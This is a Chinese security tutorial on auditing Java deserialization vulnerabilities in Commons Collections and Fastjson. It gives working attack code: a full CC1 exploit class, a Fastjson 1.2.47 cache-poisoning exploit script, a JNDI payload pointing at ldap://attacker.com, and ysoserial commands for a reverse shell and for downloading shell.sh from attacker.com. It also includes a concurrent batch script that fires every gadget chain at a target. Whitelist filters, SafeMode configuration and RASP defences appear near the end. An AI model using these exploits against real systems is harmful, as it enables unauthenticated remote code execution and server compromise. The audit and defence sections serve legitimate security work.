前言:为什么Java反序列化仍然是高危漏洞
2025年CISA KEV目录新增漏洞中,Java反序列化相关漏洞占比达到17%。从2015年Apache Commons Collections(CC链)的爆发,到Fastjson多次绕过修复的攻防拉锯,Java反序列化漏洞始终是攻击者的"万能钥匙"——一次成功的反序列化攻击即可实现远程代码执行(RCE),无需认证、无需用户交互。
作为安全研究人员,理解反序列化漏洞不仅是会用ysoserial一键打点,更要掌握审计方法论——知道在代码中如何定位漏洞点、如何判断利用条件、如何构造有效的攻击链。本文将从Java序列化机制底层原理出发,逐层拆解CC链与Fastjson两大生态的漏洞原理,并总结一套可落地的审计方法论。
一、Java序列化机制基础
1.1 序列化与反序列化的本质
Java序列化将对象转换为字节流,反序列化将字节流还原为对象。核心接口是java.io.Serializable:
public class User implements Serializable {
private static final long serialVersionUID = 1L;
private String username;
private transient String password; // transient字段不参与序列化
public User(String username, String password) {
this.username = username;
this.password = password;
}
}
关键方法(魔法方法):
| 方法 | 触发时机 | 审计关注点 |
|---|---|---|
readObject() |
反序列化时自动调用 | 🔴 最危险入口 |
readResolve() |
readObject之后调用 | 🟡 可能被利用绕过 |
finalize() |
GC回收时调用 | 🟡 延迟触发 |
readExternal() |
Externalizable接口 | 🔴 危险入口 |
validateObject() |
Validator接口 | 🟠 逻辑缺陷 |
1.2 反序列化触发场景
// 场景1:直接反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// 场景2:RMI/JNDI远程调用
Registry registry = LocateRegistry.getRegistry("192.168.1.100", 1099);
Remote obj = registry.lookup("evilObject");
// 场景3:JMX(Java管理扩展)
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://attacker:1099/jmxrmi");
// 场景4:Fastjson/Jackson等JSON库
User user = JSON.parseObject(jsonString, User.class);
// 场景5:Shiro RememberMe
// Cookie中的rememberMe字段经过Base64解码后直接反序列化
byte[] decoded = Base64.decode(cookieValue);
二、Commons Collections链深度剖析
2.1 为什么CC链如此经典
Apache Commons Collections是Java生态中使用最广泛的集合工具库之一。其Transformer接口的设计允许函数式操作,但也为攻击者提供了"组装"恶意操作链的能力。
2.2 CC1链(TransformedMap版本)
利用条件: JDK < 8u71,Commons Collections 3.x
调用链:
ObjectInputStream.readObject()
└─ AnnotationInvocationHandler.readObject()
└─ TransformedMap.checkSetValue()
└─ ChainedTransformer.transform()
└─ ConstantTransformer.transform()
└─ InvokerTransformer.transform()
└─ Runtime.getRuntime().exec()
POC代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1Exploit {
public static void main(String[] args) throws Exception {
// 1. 构建Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 2. 构造恶意Map
Map innerMap = new HashMap();
innerMap.put("value", "anything");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// 3. 通过AnnotationInvocationHandler触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(
Override.class, outerMap);
// 4. 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
// 5. 反序列化触发
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // RCE触发点
}
}
2.3 CC6链(通用版,无JDK版本限制)
CC6链是ysoserial中兼容性最好的链之一,利用HashMap和HashSet的hashCode()触发,不依赖JDK内部类。
// CC6核心:TiedMapEntry + HashMap
// 调用链简化:
// HashMap.readObject() -> HashMap.hash() -> TiedMapEntry.hashCode()
// -> TiedMapEntry.getValue() -> LazyMap.get()
// -> ChainedTransformer.transform() -> RCE
// ysoserial生成payload
// java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/$(whoami)" > payload.ser
2.4 CC链各版本对照表
| CC链版本 | 依赖JDK | Commons Collections | 触发入口 | 利用难度 |
|---|---|---|---|---|
| CC1 | < 8u71 | 3.1-3.2.1 | AnnotationInvocationHandler | ⭐ |
| CC2 | 不限 | 4.0 | PriorityQueue | ⭐⭐ |
| CC3 | < 8u71 | 3.1-3.2.1 | TemplatesImpl | ⭐⭐ |
| CC4 | 不限 | 4.0 | PriorityQueue + TemplatesImpl | ⭐⭐ |
| CC5 | 不限 | 3.1-3.2.1 | BadAttributeValueExpException | ⭐⭐ |
| CC6 | 不限 | 3.1-3.2.1 | HashMap + TiedMapEntry | ⭐ |
| CC7 | 不限 | 3.1-3.2.1 | Hashtable | ⭐⭐⭐ |
三、Fastjson漏洞原理与利用
3.1 Fastjson反序列化机制
Fastjson的parseObject()在反序列化时会调用目标类的setter方法和getter方法,这个特性(AutoType)成为漏洞利用的核心。
// 正常使用
String json = "{\"@type\":\"com.example.User\",\"username\":\"admin\"}";
User user = JSON.parseObject(json, User.class);
// 恶意利用:指定@type为危险类
String evil = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://attacker.com/EvilObject\"," +
"\"autoCommit\":true}";
JSON.parseObject(evil); // 触发JNDI注入
3.2 Fastjson历史绕过版本
| Fastjson版本 | Bypass手法 | 核心原理 |
|---|---|---|
| <= 1.2.24 | @type直接利用 | 无AutoType检查 |
| <= 1.2.47 | 缓存绕过 | 利用mappings缓存投毒 |
| <= 1.2.68 | expectClass绕过 | 期望类检查缺陷 |
| <= 1.2.80 | 特定Gadget | ThrowableDeserializer绕过 |
3.3 Fastjson <= 1.2.47 缓存投毒POC
#!/usr/bin/env python3
"""Fastjson 1.2.47 缓存投毒利用"""
import requests
import sys
def exploit(target_url, ldap_url):
payload = {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": ldap_url,
"autoCommit": True
}
}
headers = {
"Content-Type": "application/json"
}
try:
# 第一次请求:缓存投毒
resp = requests.post(
target_url,
json=payload,
headers=headers,
timeout=10
)
print(f"[+] Response status: {resp.status_code}")
print(f"[+] Response body: {resp.text[:200]}")
if resp.status_code == 200:
print("[✓] Payload sent successfully!")
print("[*] Check your LDAP/JNDI listener for callback")
else:
print(f"[-] Unexpected response: {resp.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_url> <ldap_url>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
3.4 Fastjson漏洞检测方法论
def detect_fastjson(target_url):
"""多阶段检测Fastjson漏洞"""
tests = [
# 阶段1:DNS出网检测
{
"payload": {"@type": "java.net.Inet4Address", "val": "dnslog.example.com"},
"type": "dns",
"note": "检测Fastjson是否开启AutoType且可出网"
},
# 阶段2:报错回显检测
{
"payload": {"@type": "java.lang.AutoCloseable", "a": "b"},
"type": "error",
"note": "通过报错信息确认Fastjson版本"
},
# 阶段3:版本指纹
{
"payload": {"@type": "java.net.Inet6Address", "val": "dnslog2.example.com"},
"type": "dns",
"note": "细分版本指纹"
}
]
for i, test in enumerate(tests):
print(f"[*] Test {i+1}: {test['note']}")
resp = requests.post(target_url, json=test['payload'],
headers={"Content-Type": "application/json"})
print(f" Status: {resp.status_code}, Length: {len(resp.text)}")
四、代码审计方法论
4.1 审计入口点定位
# 1. 搜索反序列化入口函数
grep -rn "readObject\|readUnshared\|readExternal\|readResolve" --include="*.java" src/
# 2. 搜索JSON反序列化(Fastjson/Jackson/Gson)
grep -rn "parseObject\|parseArray\|readValue\|fromJson" --include="*.java" src/
# 3. 搜索JNDI/RMI入口
grep -rn "lookup\|InitialContext\|NamingContext" --include="*.java" src/
# 4. 搜索XStream/XMLDecoder等XML反序列化
grep -rn "fromXML\|XMLDecoder\|XStream" --include="*.java" src/
# 5. 搜索第三方库已知危险调用
grep -rn "ObjectInputStream\|ByteArrayInputStream" --include="*.java" src/ | grep -v "test"
4.2 危险类Sink点识别
// Sink Class清单(需要重点审计)
// 1. JNDI相关
javax.naming.InitialContext.lookup()
com.sun.jndi.ldap.LdapCtx.lookup()
// 2. 命令执行
java.lang.Runtime.exec()
java.lang.ProcessBuilder.start()
// 3. 类加载
java.net.URLClassLoader
java.lang.ClassLoader.defineClass()
javax.script.ScriptEngineManager
// 4. 反射调用
java.lang.reflect.Method.invoke()
java.lang.Class.forName()
// 5. 文件操作
java.io.FileOutputStream
java.nio.file.Files.write()
4.3 实战审计案例:某电商平台
// 漏洞代码示例
@RestController
@RequestMapping("/api")
public class DataController {
@PostMapping("/import")
public String importData(@RequestBody byte[] data) {
try {
// 危险:直接反序列化用户输入
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject(); // 🔴 RCE入口
return "Import success: " + obj.toString();
} catch (Exception e) {
return "Import failed: " + e.getMessage();
}
}
@PostMapping("/config")
public String loadConfig(@RequestBody String json) {
// 危险:AutoType未关闭
Object config = JSON.parseObject(json, Feature.SupportAutoType); // 🔴 RCE入口
return "Config loaded: " + config.toString();
}
}
修复方案:
// 方案1:白名单类过滤器
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES = Set.of(
"com.company.model.User",
"com.company.model.Order",
"java.util.ArrayList",
"java.util.HashMap"
);
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
// 方案2:Fastjson关闭AutoType
// 升级到最新版本并配置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 如需使用,启用SafeMode:
ParserConfig.getGlobalInstance().setSafeMode(true);
// 方案3:使用SerialKiller等过滤器
// Maven依赖:org.nibblesec.tools:serialkiller
五、ysoserial实战武器化
5.1 常用Payload速查
# 查看所有可用payload
java -jar ysoserial.jar
# DNS探测(验证漏洞存在)
java -jar ysoserial.jar URLDNS http://your-dnslog.cn | base64
# CC6链 - 反弹shell
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFza...}|{base64,-d}|{bash,-i}" | base64
# CommonsBeanutils1 - 无CC依赖
java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh -o /tmp/shell.sh" | base64
# Spring框架环境
java -jar ysoserial.jar Spring1 "open -a Calculator" | base64
5.2 自定义Payload生成器
#!/usr/bin/env python3
"""批量生成反序列化Payload并测试"""
import subprocess
import base64
import requests
from concurrent.futures import ThreadPoolExecutor
PAYLOADS = {
"CC1": "CommonsCollections1",
"CC2": "CommonsCollections2",
"CC3": "CommonsCollections3",
"CC4": "CommonsCollections4",
"CC5": "CommonsCollections5",
"CC6": "CommonsCollections6",
"CC7": "CommonsCollections7",
"CB1": "CommonsBeanutils1",
"Spring1": "Spring1",
"Spring2": "Spring2",
"Jdk7u21": "Jdk7u21",
"ROME": "ROME",
"Hibernate1": "Hibernate1",
}
def generate_payload(gadget_name, command):
"""调用ysoserial生成Base64编码的payload"""
try:
result = subprocess.run(
["java", "-jar", "ysoserial.jar", gadget_name, command],
capture_output=True, timeout=10
)
if result.returncode == 0:
return base64.b64encode(result.stdout).decode()
except Exception as e:
print(f"[-] {gadget_name} generation failed: {e}")
return None
def test_single_payload(target_url, name, gadget, command, cookie_key=None):
"""测试单个payload"""
payload = generate_payload(gadget, command)
if not payload:
return (name, False, "Generation failed")
cookies = {cookie_key: payload} if cookie_key else {}
try:
resp = requests.post(target_url, data=payload, cookies=cookies, timeout=5)
return (name, resp.status_code, len(resp.text))
except Exception as e:
return (name, False, str(e))
def batch_test(target_url, command="curl http://dnslog.cn/$(whoami)", cookie_key=None):
"""并发测试所有Gadget链"""
results = []
with ThreadPoolExecutor(max_workers=5) as executor:
futures = []
for name, gadget in PAYLOADS.items():
future = executor.submit(
test_single_payload, target_url, name, gadget, command, cookie_key
)
futures.append(future)
for future in futures:
results.append(future.result())
print("\n=== Test Results ===")
for name, status, detail in results:
symbol = "✓" if status == 200 else "✗"
print(f" [{symbol}] {name}: status={status}, detail={detail}")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python3 ysoserial_batch.py <target_url> [cookie_key]")
sys.exit(1)
batch_test(sys.argv[1], cookie_key=sys.argv[2] if len(sys.argv) > 2 else None)
六、防御体系与纵深防护
6.1 多层次防御架构
┌─────────────────────────────────┐
│ 应用层防御 │
│ - 白名单类过滤器 │
│ - Fastjson SafeMode │
│ - Jackson enableDefaultTyping禁│
│ - 避免接受序列化数据 │
├─────────────────────────────────┤
│ 网络层防御 │
│ - 限制出站DNS/LDAP/RMI │
│ - JNDI外连阻断 │
│ - WAF签名检测 │
├─────────────────────────────────┤
│ 运行时防御 │
│ - RASP (Runtime Application │
│ Self-Protection) │
│ - JVM安全策略 │
│ - SecurityManager │
├─────────────────────────────────┤
│ 监控层 │
│ - 反序列化异常告警 │
│ - JNDI外连告警 │
│ - 类加载监控 │
└─────────────────────────────────┘
6.2 RASP防护示例
// 简单的RASP Hook示例(基于Java Agent)
public class DeserializationGuard {
public static void hookObjectInputStream() {
// 使用ByteBuddy或ASM对ObjectInputStream.resolveClass进行Hook
// 拦截非白名单类的反序列化
// 伪代码:
// Interceptor.on(ObjectInputStream.class, "resolveClass")
// .before(invocation -> {
// String className = invocation.getArgument(0).getName();
// if (className.startsWith("org.apache.commons.collections")) {
// throw new SecurityException("Blocked deserialization: " + className);
// }
// });
}
}
七、总结与建议
审计CheckList
- 全局搜索
readObject、readUnshared调用点 - 检查 Fastjson/Jackson 的 AutoType 配置
- 验证 JNDI 注入点(
lookup、InitialContext) - 审查
ObjectInputStream是否使用了白名单过滤器 - 检查 Shiro RememberMe 密钥是否为默认值
- 确认 Weblogic/JBoss 等中间件补丁状态
- 测试出网能力(DNS外带检测)
- 扫描第三方依赖的已知反序列化Gadget
Java反序列化漏洞不会消失——新的Gadget链在持续被发现,新的JSON库在引入新的攻击面。作为安全从业者,我们需要的不是死记硬背几个payload,而是建立系统化的审计思维,在代码中快速定位风险点、准确评估利用条件、高效验证漏洞存在性。希望本文的审计框架能成为你日常工作中的实用参考。